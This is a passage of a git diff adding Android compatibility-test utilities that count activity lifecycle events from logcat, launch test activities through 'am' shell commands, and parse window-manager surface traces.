+            return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
+                    + " time(s), not expecting any.";
+        } else if (lifecycleCounts.mConfigurationChangedCount != 0) {
+            return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, not expecting any.";
+        }
+        return null;
+    }
+
+    protected String[] getDeviceLogsForComponent(String componentName, String logSeparator) {
+        return getDeviceLogsForComponents(new String[]{componentName}, logSeparator);
+    }
+
+    protected String[] getDeviceLogsForComponents(final String[] componentNames,
+            String logSeparator) {
+        String filters = LOG_SEPARATOR + ":I ";
+        for (String component : componentNames) {
+            filters += component + ":I ";
+        }
+        final String[] result = executeShellCommand("logcat -v brief -d " + filters + " *:S")
+                .split("\\n");
+        if (logSeparator == null) {
+            return result;
+        }
+
+        // Make sure that we only check logs after the separator.
+        int i = 0;
+        boolean lookingForSeparator = true;
+        while (i < result.length && lookingForSeparator) {
+            if (result[i].contains(logSeparator)) {
+                lookingForSeparator = false;
+            }
+            i++;
+        }
+        final String[] filteredResult = new String[result.length - i];
+        for (int curPos = 0; i < result.length; curPos++, i++) {
+            filteredResult[curPos] = result[i];
+        }
+        return filteredResult;
+    }
+
+    void assertSingleLaunch(String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    public void assertSingleLaunchAndStop(String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    public void assertSingleStartAndStop(String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString =  validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    void assertSingleStart(String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    private String validateLifecycleCounts(String activityName, String logSeparator,
+            int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
+            int destroyCount) {
+
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mCreateCount != createCount) {
+            return activityName + " created " + lifecycleCounts.mCreateCount + " times.";
+        }
+        if (lifecycleCounts.mStartCount != startCount) {
+            return activityName + " started " + lifecycleCounts.mStartCount + " times.";
+        }
+        if (lifecycleCounts.mResumeCount != resumeCount) {
+            return activityName + " resumed " + lifecycleCounts.mResumeCount + " times.";
+        }
+        if (lifecycleCounts.mPauseCount != pauseCount) {
+            return activityName + " paused " + lifecycleCounts.mPauseCount + " times.";
+        }
+        if (lifecycleCounts.mStopCount != stopCount) {
+            return activityName + " stopped " + lifecycleCounts.mStopCount + " times.";
+        }
+        if (lifecycleCounts.mDestroyCount != destroyCount) {
+            return activityName + " destroyed " + lifecycleCounts.mDestroyCount + " times.";
+        }
+        return null;
+    }
+
+    // TODO: Now that our test are device side, we can convert these to a more direct communication
+    // channel vs. depending on logs.
+    private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
+    private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
+    private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
+    private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
+    private static final Pattern sConfigurationChangedPattern =
+            Pattern.compile("(.+): onConfigurationChanged");
+    private static final Pattern sMovedToDisplayPattern =
+            Pattern.compile("(.+): onMovedToDisplay");
+    private static final Pattern sStopPattern = Pattern.compile("(.+): onStop");
+    private static final Pattern sDestroyPattern = Pattern.compile("(.+): onDestroy");
+    private static final Pattern sMultiWindowModeChangedPattern =
+            Pattern.compile("(.+): onMultiWindowModeChanged");
+    private static final Pattern sPictureInPictureModeChangedPattern =
+            Pattern.compile("(.+): onPictureInPictureModeChanged");
+    private static final Pattern sUserLeaveHintPattern = Pattern.compile("(.+): onUserLeaveHint");
+    private static final Pattern sNewConfigPattern = Pattern.compile(
+            "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
+            + " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
+            + " orientation=(\\d+)");
+    private static final Pattern sDisplayStatePattern =
+            Pattern.compile("Display Power: state=(.+)");
+    private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
+    private static final Pattern sUiModeLockedPattern =
+            Pattern.compile("mUiModeLocked=(true|false)");
+
+    class ReportedSizes {
+        int widthDp;
+        int heightDp;
+        int displayWidth;
+        int displayHeight;
+        int metricsWidth;
+        int metricsHeight;
+        int smallestWidthDp;
+        int densityDpi;
+        int orientation;
+
+        @Override
+        public String toString() {
+            return "ReportedSizes: {widthDp=" + widthDp + " heightDp=" + heightDp
+                    + " displayWidth=" + displayWidth + " displayHeight=" + displayHeight
+                    + " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight
+                    + " smallestWidthDp=" + smallestWidthDp + " densityDpi=" + densityDpi
+                    + " orientation=" + orientation + "}";
+        }
+
+        @Override
+        public boolean equals(Object obj) {
+            if ( this == obj ) return true;
+            if ( !(obj instanceof ReportedSizes) ) return false;
+            ReportedSizes that = (ReportedSizes) obj;
+            return widthDp == that.widthDp
+                    && heightDp == that.heightDp
+                    && displayWidth == that.displayWidth
+                    && displayHeight == that.displayHeight
+                    && metricsWidth == that.metricsWidth
+                    && metricsHeight == that.metricsHeight
+                    && smallestWidthDp == that.smallestWidthDp
+                    && densityDpi == that.densityDpi
+                    && orientation == that.orientation;
+        }
+    }
+
+    ReportedSizes getLastReportedSizesForActivity(String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        ReportedSizes result;
+        do {
+            result = readLastReportedSizes(activityName, logSeparator);
+            if (result == null) {
+                log("***Waiting for sizes to be reported...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+        return result;
+    }
+
+    private ReportedSizes readLastReportedSizes(String activityName, String logSeparator) {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sNewConfigPattern.matcher(line);
+            if (matcher.matches()) {
+                ReportedSizes details = new ReportedSizes();
+                details.widthDp = Integer.parseInt(matcher.group(2));
+                details.heightDp = Integer.parseInt(matcher.group(3));
+                details.displayWidth = Integer.parseInt(matcher.group(4));
+                details.displayHeight = Integer.parseInt(matcher.group(5));
+                details.metricsWidth = Integer.parseInt(matcher.group(6));
+                details.metricsHeight = Integer.parseInt(matcher.group(7));
+                details.smallestWidthDp = Integer.parseInt(matcher.group(8));
+                details.densityDpi = Integer.parseInt(matcher.group(9));
+                details.orientation = Integer.parseInt(matcher.group(10));
+                return details;
+            }
+        }
+        return null;
+    }
+
+    /** Waits for at least one onMultiWindowModeChanged event. */
+    ActivityLifecycleCounts waitForOnMultiWindowModeChanged(
+            String activityName, String logSeparator) {
+        int retriesLeft = 5;
+        ActivityLifecycleCounts result;
+        do {
+            result = new ActivityLifecycleCounts(activityName, logSeparator);
+            if (result.mMultiWindowModeChangedCount < 1) {
+                log("***waitForOnMultiWindowModeChanged...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+        return result;
+
+    }
+
+    // TODO: Now that our test are device side, we can convert these to a more direct communication
+    // channel vs. depending on logs.
+    class ActivityLifecycleCounts {
+        int mCreateCount;
+        int mStartCount;
+        int mResumeCount;
+        int mConfigurationChangedCount;
+        int mLastConfigurationChangedLineIndex;
+        int mMovedToDisplayCount;
+        int mMultiWindowModeChangedCount;
+        int mLastMultiWindowModeChangedLineIndex;
+        int mPictureInPictureModeChangedCount;
+        int mLastPictureInPictureModeChangedLineIndex;
+        int mUserLeaveHintCount;
+        int mPauseCount;
+        int mStopCount;
+        int mLastStopLineIndex;
+        int mDestroyCount;
+
+        ActivityLifecycleCounts(String activityName, String logSeparator) {
+            int lineIndex = 0;
+            waitForIdle();
+            for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
+                line = line.trim();
+                lineIndex++;
+
+                Matcher matcher = sCreatePattern.matcher(line);
+                if (matcher.matches()) {
+                    mCreateCount++;
+                    continue;
+                }
+
+                matcher = sStartPattern.matcher(line);
+                if (matcher.matches()) {
+                    mStartCount++;
+                    continue;
+                }
+
+                matcher = sResumePattern.matcher(line);
+                if (matcher.matches()) {
+                    mResumeCount++;
+                    continue;
+                }
+
+                matcher = sConfigurationChangedPattern.matcher(line);
+                if (matcher.matches()) {
+                    mConfigurationChangedCount++;
+                    mLastConfigurationChangedLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sMovedToDisplayPattern.matcher(line);
+                if (matcher.matches()) {
+                    mMovedToDisplayCount++;
+                    continue;
+                }
+
+                matcher = sMultiWindowModeChangedPattern.matcher(line);
+                if (matcher.matches()) {
+                    mMultiWindowModeChangedCount++;
+                    mLastMultiWindowModeChangedLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sPictureInPictureModeChangedPattern.matcher(line);
+                if (matcher.matches()) {
+                    mPictureInPictureModeChangedCount++;
+                    mLastPictureInPictureModeChangedLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sUserLeaveHintPattern.matcher(line);
+                if (matcher.matches()) {
+                    mUserLeaveHintCount++;
+                    continue;
+                }
+
+                matcher = sPausePattern.matcher(line);
+                if (matcher.matches()) {
+                    mPauseCount++;
+                    continue;
+                }
+
+                matcher = sStopPattern.matcher(line);
+                if (matcher.matches()) {
+                    mStopCount++;
+                    mLastStopLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sDestroyPattern.matcher(line);
+                if (matcher.matches()) {
+                    mDestroyCount++;
+                    continue;
+                }
+            }
+        }
+    }
+
+    protected void stopTestCase() throws Exception {
+        executeShellCommand("am force-stop " + componentName);
+    }
+
+    protected LaunchActivityBuilder getLaunchActivityBuilder() {
+        return new LaunchActivityBuilder(mAmWmState);
+    }
+
+    protected static class LaunchActivityBuilder {
+        private final ActivityAndWindowManagersState mAmWmState;
+
+        // The activity to be launched
+        private String mTargetActivityName = "TestActivity";
+        private String mTargetPackage = componentName;
+        private boolean mToSide;
+        private boolean mRandomData;
+        private boolean mNewTask;
+        private boolean mMultipleTask;
+        private int mDisplayId = INVALID_DISPLAY_ID;
+        // A proxy activity that launches other activities including mTargetActivityName
+        private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
+        private boolean mReorderToFront;
+        private boolean mWaitForLaunched;
+        // Use of the following variables indicates that a broadcast receiver should be used instead
+        // of a launching activity;
+        private String mBroadcastReceiverComponent;
+        private String mBroadcastReceiverAction;
+
+        public LaunchActivityBuilder(ActivityAndWindowManagersState amWmState) {
+            mAmWmState = amWmState;
+            mWaitForLaunched = true;
+        }
+
+        public LaunchActivityBuilder setToSide(boolean toSide) {
+            mToSide = toSide;
+            return this;
+        }
+
+        public LaunchActivityBuilder setRandomData(boolean randomData) {
+            mRandomData = randomData;
+            return this;
+        }
+
+        public LaunchActivityBuilder setNewTask(boolean newTask) {
+            mNewTask = newTask;
+            return this;
+        }
+
+        public LaunchActivityBuilder setMultipleTask(boolean multipleTask) {
+            mMultipleTask = multipleTask;
+            return this;
+        }
+
+        public LaunchActivityBuilder setReorderToFront(boolean reorderToFront) {
+            mReorderToFront = reorderToFront;
+            return this;
+        }
+
+        public LaunchActivityBuilder setTargetActivityName(String name) {
+            mTargetActivityName = name;
+            return this;
+        }
+
+        public LaunchActivityBuilder setTargetPackage(String pkg) {
+            mTargetPackage = pkg;
+            return this;
+        }
+
+        public LaunchActivityBuilder setDisplayId(int id) {
+            mDisplayId = id;
+            return this;
+        }
+
+        public LaunchActivityBuilder setLaunchingActivityName(String name) {
+            mLaunchingActivityName = name;
+            return this;
+        }
+
+        public LaunchActivityBuilder setWaitForLaunched(boolean shouldWait) {
+            mWaitForLaunched = shouldWait;
+            return this;
+        }
+
+        /** Use broadcast receiver instead of launching activity. */
+        public LaunchActivityBuilder setUseBroadcastReceiver(String componentName,
+                String broadcastAction) {
+            mBroadcastReceiverComponent = componentName;
+            mBroadcastReceiverAction = broadcastAction;
+            return this;
+        }
+
+        public void execute() throws Exception {
+            StringBuilder commandBuilder = new StringBuilder();
+            if (mBroadcastReceiverComponent != null && mBroadcastReceiverAction != null) {
+                // Use broadcast receiver to launch the target.
+                commandBuilder.append("am broadcast -a ").append(mBroadcastReceiverAction);
+                commandBuilder.append(" -p ").append(mBroadcastReceiverComponent);
+            } else {
+                // Use launching activity to launch the target.
+                commandBuilder.append(getAmStartCmd(mLaunchingActivityName));
+                commandBuilder.append(" -f 0x20000000");
+            }
+
+            // Add a flag to ensure we actually mean to launch an activity.
+            commandBuilder.append(" --ez launch_activity true");
+
+            if (mToSide) {
+                commandBuilder.append(" --ez launch_to_the_side true");
+            }
+            if (mRandomData) {
+                commandBuilder.append(" --ez random_data true");
+            }
+            if (mNewTask) {
+                commandBuilder.append(" --ez new_task true");
+            }
+            if (mMultipleTask) {
+                commandBuilder.append(" --ez multiple_task true");
+            }
+            if (mReorderToFront) {
+                commandBuilder.append(" --ez reorder_to_front true");
+            }
+            if (mTargetActivityName != null) {
+                commandBuilder.append(" --es target_activity ").append(mTargetActivityName);
+                commandBuilder.append(" --es package_name ").append(mTargetPackage);
+            }
+            if (mDisplayId != INVALID_DISPLAY_ID) {
+                commandBuilder.append(" --ei display_id ").append(mDisplayId);
+            }
+            executeShellCommand(commandBuilder.toString());
+
+            if (mWaitForLaunched) {
+                mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, mTargetPackage,
+                        new WaitForValidActivityState.Builder(mTargetActivityName).build());
+            }
+        }
+    }
+
+    protected void tearDownLockCredentials() throws Exception {
+        if (!mLockCredentialsSet) {
+            return;
+        }
+
+        removeLockCredential();
+        // Dismiss active keyguard after credential is cleared, so
+        // keyguard doesn't ask for the stale credential.
+        pressBackButton();
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+    }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java b/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java
new file mode 100644
index 0000000..060fc60
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.WindowConfiguration;
+import android.app.nano.WindowConfigurationProto;
+import android.content.nano.ConfigurationProto;
+import android.content.res.Configuration;
+import android.graphics.Rect;
+import android.graphics.nano.RectProto;
+
+/**
+ * Utility class for extracting some common framework object from nano proto objects.
+ * Normally the extractors will be in the framework object class, but we don't want the framework to
+ * depend on nano proto due to size cost.
+ * TODO: This class should probably be in frameworks/base/lib project so it can be used
+ * outside of CTS.
+ */
+public class ProtoExtractors {
+    public static Configuration extract(ConfigurationProto proto) {
+        final Configuration config = new Configuration();
+        if (proto == null) {
+            return config;
+        }
+        config.windowConfiguration.setTo(extract(proto.windowConfiguration));
+        config.densityDpi = proto.densityDpi;
+        config.orientation = proto.orientation;
+        config.screenHeightDp = proto.screenHeightDp;
+        config.screenWidthDp = proto.screenWidthDp;
+        config.smallestScreenWidthDp = proto.smallestScreenWidthDp;
+        config.screenLayout = proto.screenLayout;
+        config.uiMode = proto.uiMode;
+        return config;
+    }
+
+    public static WindowConfiguration extract(WindowConfigurationProto proto) {
+        final WindowConfiguration config = new WindowConfiguration();
+        if (proto == null) {
+            return config;
+        }
+        config.setAppBounds(extract(proto.appBounds));
+        config.setWindowingMode(proto.windowingMode);
+        config.setActivityType(proto.activityType);
+        return config;
+    }
+
+    public static Rect extract(RectProto proto) {
+        if (proto == null) {
+            return null;
+        }
+        return new Rect(proto.left, proto.top, proto.right, proto.bottom);
+    }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java b/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java
new file mode 100644
index 0000000..e3ad3be
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.util.Log;
+
+/**
+ * Util class to perform simple state logging.
+ */
+public class StateLogger {
+
+    private static final boolean DEBUG = false;
+    private static String TAG = "AMWM";
+
+    /**
+     * Simple info-level logging gated by {@link #DEBUG} flag
+     */
+    public static void log(String logText) {
+        if (DEBUG) {
+            Log.i(TAG, logText);
+        }
+    }
+
+    public static void logAlways(String logText) {
+        Log.i(TAG, logText);
+    }
+
+    public static void logE(String logText) {
+        Log.e(TAG, logText);
+    }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java b/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java
new file mode 100644
index 0000000..4b3953c
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java
@@ -0,0 +1,363 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.fail;
+
+import android.graphics.RectF;
+
+import java.io.ByteArrayInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+
+// Parses a trace of surface commands from the WM (in real time)
+// and dispenses them via the SurfaceObserver interface.
+//
+// Data enters through addOutput
+public class SurfaceTraceReceiver {
+
+    final SurfaceObserver mObserver;
+
+    private State mState = State.CMD;
+    private String mCurrentWindowName = null;
+    private int mArgPosition = 0;
+    private float[] mTmpFloats = new float[10];
+    private int[] mTmpInts = new int[10];
+    private RectF mTmpRect = new RectF();
+    private byte[] mUnprocessedBytes = new byte[16384];
+    private byte[] mFullData = new byte[32768];
+    private int mUnprocessedBytesLength;
+
+    public interface SurfaceObserver {
+        default void setAlpha(String windowName, float alpha) {}
+        default void setLayer(String windowName, int layer) {}
+        default void setPosition(String windowName, float x, float y) {}
+        default void setSize(String widnowName, int width, int height) {}
+        default void setLayerStack(String windowName, int layerStack) {}
+        default void setMatrix(String windowName, float dsdx, float dtdx, float dsdy, float dtdy) {}
+        default void setCrop(String windowName, RectF crop) {}
+        default void setFinalCrop(String windowName, RectF finalCrop) {}
+        default void hide(String windowName) {}
+        default void show(String windowName) {}
+        default void setGeometryAppliesWithResize(String windowName) {}
+        default void openTransaction() {}
+        default void closeTransaction() {}
+    };
+
+    enum State {
+        CMD,
+        SET_ALPHA,
+        SET_LAYER,
+        SET_POSITION,
+        SET_SIZE,
+        SET_CROP,
+        SET_FINAL_CROP,
+        SET_LAYER_STACK,
+        SET_MATRIX,
+        HIDE,
+        SHOW,
+        GEOMETRY_APPLIES_WITH_RESIZE
+    };
+
+    SurfaceTraceReceiver(SurfaceObserver observer) {
+        mObserver = observer;
+    }
+
+    // Reset state and prepare to accept a new command.
+    void nextCmd(DataInputStream d) {
+        mState = State.CMD;
+        mCurrentWindowName = null;
+        mArgPosition = 0;
+
+        try {
+            // Consume the sigil
+            d.readByte();
+            d.readByte();
+            d.readByte();
+            d.readByte();
+        } catch (Exception e) {
+            logE("Exception consuming sigil: " + e);
+        }
+    }
+
+    // When the command parsing functions below are called, the window name
+    // will already be parsed. The responsibility of these functions
+    // is to parse other arguments 1 by 1 and accumlate them until the appropriate number
+    // is reached. At that point the parser should emit an event to the observer and
+    // call nextCmd
+    void parseAlpha(DataInputStream d) throws IOException {
+        float alpha = d.readFloat();
+        mObserver.setAlpha(mCurrentWindowName, alpha);
+        nextCmd(d);
+    }
+
+    void parseLayer(DataInputStream d) throws IOException {
+        int layer = d.readInt();
+        mObserver.setLayer(mCurrentWindowName, layer);
+        nextCmd(d);
+    }
+
+    void parsePosition(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readFloat();
+        mArgPosition++;
+        if (mArgPosition == 2) {
+            mObserver.setPosition(mCurrentWindowName, mTmpFloats[0], mTmpFloats[1]);
+            nextCmd(d);
+        }
+    }
+
+    void parseSize(DataInputStream d) throws IOException {
+        mTmpInts[mArgPosition] = d.readInt();
+        mArgPosition++;
+        if (mArgPosition == 2) {
+            mObserver.setSize(mCurrentWindowName, mTmpInts[0], mTmpInts[1]);
+            nextCmd(d);
+        }
+    }
+
+    // Careful Android rectangle rep is top-left-right-bottom awt is top-left-width-height
+    void parseCrop(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readFloat();
+        mArgPosition++;
+        if (mArgPosition == 4) {
+            mTmpRect.set(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2],
+                    mTmpFloats[3]);
+            mObserver.setCrop(mCurrentWindowName, mTmpRect);
+            nextCmd(d);
+        }
+    }
+
+    void parseFinalCrop(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readInt();
+        mArgPosition++;
+        if (mArgPosition == 4) {
+            mTmpRect.set(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2],
+                    mTmpFloats[3]);
+            mObserver.setFinalCrop(mCurrentWindowName, mTmpRect);
+            nextCmd(d);
+        }
+    }
+
+    void parseLayerStack(DataInputStream d) throws IOException {
+        int layerStack = d.readInt();
+        mObserver.setLayerStack(mCurrentWindowName, layerStack);
+        nextCmd(d);
+    }
+
+    void parseSetMatrix(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readFloat();
+        mArgPosition++;
+        if (mArgPosition == 4) {
+            mObserver.setMatrix(mCurrentWindowName, mTmpFloats[0],
+                    mTmpFloats[1], mTmpFloats[2], mTmpFloats[3]);
+            nextCmd(d);
+        }
+    }
+
+    void parseHide(DataInputStream d) throws IOException {
+        mObserver.hide(mCurrentWindowName);
+        nextCmd(d);
+    }
+
+    void parseShow(DataInputStream d) throws IOException {
+        mObserver.show(mCurrentWindowName);
+        nextCmd(d);
+    }
+
+    void parseGeometryAppliesWithResize(DataInputStream d) throws IOException {
+        mObserver.setGeometryAppliesWithResize(mCurrentWindowName);
+        nextCmd(d);
+    }
+
+    public int indexAfterLastSigil(byte[] data, int offset, int length) {
+        int idx = offset + length - 1;
+        int sigilsNeeded = 4;
+        byte sigil = (byte) 0xfc;
+        while (idx > offset) {
+            if (data[idx] == sigil) {
+                sigilsNeeded--;
+                if (sigilsNeeded == 0) {
+                    return idx + 4;
+                }
+            } else {
+                sigilsNeeded = 4;
+            }
+            idx--;
+        }
+        return idx; // idx == offset at this point
+    }
+
+    // The tricky bit here is ADB may break up our words, and not send us complete messages,
+    // or even complete integers! To ensure we process the data in appropriate chunks,
+    // We look for a sigil (0xfcfcfcfc) and only process data when it ends in as sigil.
+    // Otherwise we save it and wait to receive a sigil, then process the merged data.
+    public void addOutput(byte[] data, int offset, int length) {
+        byte[] combinedData = data;
+
+        // First we have to merge any unprocessed bytes from the last call in to
+        // a combined array.
+        if (mUnprocessedBytesLength > 0) {
+            System.arraycopy(mUnprocessedBytes, 0, mFullData, 0, mUnprocessedBytesLength);
+            System.arraycopy(data, offset, mFullData, mUnprocessedBytesLength, length);
+            combinedData = mFullData;
+            length = mUnprocessedBytesLength + length;
+            offset = 0;
+            mUnprocessedBytesLength = 0;
+        }
+
+        // Now we find the last sigil in our combined array. Everything before this index is
+        // a properly terminated message ready to be parsed.
+        int completedIndex = indexAfterLastSigil(combinedData, offset, length);
+        // If there are any bytes left after the last sigil, save them for next time.
+        if (completedIndex != length + offset) {
+            mUnprocessedBytesLength = (length + offset) - (completedIndex);
+            System.arraycopy(combinedData, completedIndex,
+                    mUnprocessedBytes, 0, mUnprocessedBytesLength);
+        }
+        //  If there was no sigil, we have nothing to process yet.
+        if (completedIndex <= offset) {
+            return;
+        }
+        ByteArrayInputStream b = new ByteArrayInputStream(combinedData, offset,
+                completedIndex - offset);
+        DataInputStream d = new DataInputStream(b);
+
+        // We may not receive an entire message at once (for example we may receive
+        // a command without its arguments), so we track our current state, over multiple
+        // addOutput calls. When we are in State.CMD it means we next expect a new command.
+        // If we are not expecting a command, then all commands with arguments, begin with
+        // a window name. Once we have the window name, individual parseAlpha,
+        // parseLayer, etc...statements will parse command arguments one at a time. Once
+        // the appropriate number of arguments is collected the observer will be invoked
+        // and the state reset. For commands which have no arguments (e.g. open/close transaction),
+        // parseCmd can emit the observer event and call nextCmd() right away.
+        try {
+            while (b.available() > 0) {
+                if (mState != State.CMD && mCurrentWindowName == null) {
+                    mCurrentWindowName = d.readUTF();
+                    if (b.available() == 0) {
+                        return;
+                    }
+                }
+                switch (mState) {
+                    case CMD: {
+                        String cmd = d.readUTF();
+                        parseCmd(d, cmd);
+                        break;
+                    }
+                    case SET_ALPHA: {
+                        parseAlpha(d);
+                        break;
+                    }
+                    case SET_LAYER: {
+                        parseLayer(d);
+                        break;
+                    }
+                    case SET_POSITION: {
+                        parsePosition(d);
+                        break;
+                    }
+                    case SET_SIZE: {
+                        parseSize(d);
+                        break;
+                    }
+                    case SET_CROP: {
+                        parseCrop(d);
+                        break;
+                    }
+                    case SET_FINAL_CROP: {
+                        parseFinalCrop(d);
+                        break;
+                    }
+                    case SET_LAYER_STACK: {
+                        parseLayerStack(d);
+                        break;
+                    }
+                    case SET_MATRIX: {
+                        parseSetMatrix(d);
+                        break;
+                    }
+                    case HIDE: {
+                        parseHide(d);
+                        break;
+                    }
+                    case SHOW: {
+                        parseShow(d);
+                        break;
+                    }
+                    case GEOMETRY_APPLIES_WITH_RESIZE: {
+                        parseGeometryAppliesWithResize(d);
+                        break;
+                    }
+                }
+            }
+        } catch (Exception e) {
+            logE("Error in surface trace receiver: " + e.toString());
+        }
+    }
+
+    void parseCmd(DataInputStream d, String cmd) {
+        switch (cmd) {
+            case "Alpha":
+                mState = State.SET_ALPHA;
+                break;
+            case "Layer":
+                mState = State.SET_LAYER;
+                break;
+            case "Position":
+                mState = State.SET_POSITION;
+                break;
+            case "Size":
+                mState = State.SET_SIZE;
+                break;
+            case "Crop":
+                mState = State.SET_CROP;
+                break;
+            case "FinalCrop":
+                mState = State.SET_FINAL_CROP;
+                break;
+            case "LayerStack":
+                mState = State.SET_LAYER_STACK;
+                break;
+            case "Matrix":
+                mState = State.SET_MATRIX;
+                break;
+            case "Hide":
+                mState = State.HIDE;
+                break;
+            case "Show":
+                mState = State.SHOW;
+                break;
+            case "GeometryAppliesWithResize":
+                mState = State.GEOMETRY_APPLIES_WITH_RESIZE;
+                break;
+            case "OpenTransaction":
